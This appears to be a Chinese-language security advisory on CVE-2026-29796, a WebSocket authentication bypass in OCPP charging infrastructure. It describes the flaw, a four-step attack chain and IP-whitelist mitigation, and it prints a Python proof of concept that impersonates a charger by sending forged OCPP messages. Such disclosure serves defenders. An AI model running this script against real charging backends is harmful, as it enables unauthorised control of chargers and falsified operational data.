IPBUF安全漏洞报告
English
CVE-2026-29796 CVSS 9.4 严重

CVE-2026-29796 WebSocket身份验证绕过漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-29796
漏洞类型
身份验证绕过
CVSS评分
9.4 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OCPP充电基础设施

相关标签

CVE-2026-29796WebSocketAuthentication BypassOCPPIoTICS

漏洞概述

该漏洞源于充电基础设施的WebSocket端点缺失身份验证机制。未经认证的攻击者可利用已知的充电站标识符,直接连接至OCPP WebSocket接口。这使得攻击者能够冒充合法充电桩,发送或接收OCPP指令。后果包括权限提升、非法控制充电设备以及破坏上报给后端的数据完整性,对电网安全构成严重威胁。

技术细节

该漏洞利用了OCPP(开放充电点协议)通信过程中WebSocket端点的认证缺失缺陷。根据CVSS向量分析,攻击复杂度低且无需权限。攻击者首先通过网络扫描发现目标充电桩及其WebSocket服务端口,并枚举或猜测出ChargeBoxID。随后,攻击者利用该ID构造WebSocket握手请求,由于系统缺乏认证检查(如Token验证或证书双向认证),连接被允许建立。连接成功后,攻击者遵循OCPP协议规范构造JSON格式的控制报文,向后台管理系统发送伪造的充电交易数据或下发恶意控制指令。这不仅导致后台数据完整性受损,还可能引发物理层面的充电设施滥用,严重威胁电力系统的安全稳定运行。

攻击链分析

STEP 1
侦察
攻击者扫描网络以发现开放的WebSocket端口,并确定目标充电站标识符(ChargeBoxID)。
STEP 2
初始访问
攻击者使用获取的ChargeBoxID,无需任何凭证直接连接到OCPP WebSocket端点。
STEP 3
执行
攻击者通过WebSocket连接发送伪造的OCPP协议报文(如启动充电、心跳检测等)。
STEP 4
影响
后端系统接受伪造数据,导致充电站被非法控制或运营数据被篡改。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import websocket import json import time # Target configuration TARGET_HOST = "192.168.1.100" TARGET_PORT = 80 CHARGER_ID = "CHARGER_001" URL = f"ws://{TARGET_HOST}:{TARGET_PORT}/{CHARGER_ID}" def on_open(ws): print("[+] WebSocket connection established") # Construct OCPP 1.6 BootNotification request # Format: [MessageTypeId, UniqueId, Action, Payload] # MessageTypeId 2 indicates a request from client to server boot_notification = [ 2, "12345", "BootNotification", { "chargePointVendor": "PoC-Vendor", "chargePointModel": "PoC-Model" } ] print(f"[*] Sending BootNotification: {boot_notification}") ws.send(json.dumps(boot_notification)) def on_message(ws, message): print(f"[<] Received: {message}") # Parse response to confirm impersonation success try: data = json.loads(message) if data[2] == "BootNotification": status = data[3].get('status', 'Unknown') print(f"[+] Charger Status: {status}") except Exception as e: print(f"[-] Error parsing message: {e}") def on_error(ws, error): print(f"[-] Error: {error}") def on_close(ws, close_status_code, close_msg): print("[+] Connection closed") if __name__ == "__main__": print(f"[*] Attempting to connect to: {URL}") ws = websocket.WebSocketApp(URL, on_open=on_open, on_message=on_message, on_error=on_error, on_close=on_close) ws.run_forever()

影响范围

未在提供信息中明确列出 (需参考官方公告 ICSA-26-078-08)

防御指南

临时缓解措施
建议立即在网络防火墙中实施IP白名单策略,阻断非授权IP对充电桩WebSocket端口的访问。同时,应检查日志以识别是否存在异常的连接记录,并在补丁部署前加强对物理充电设备的监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表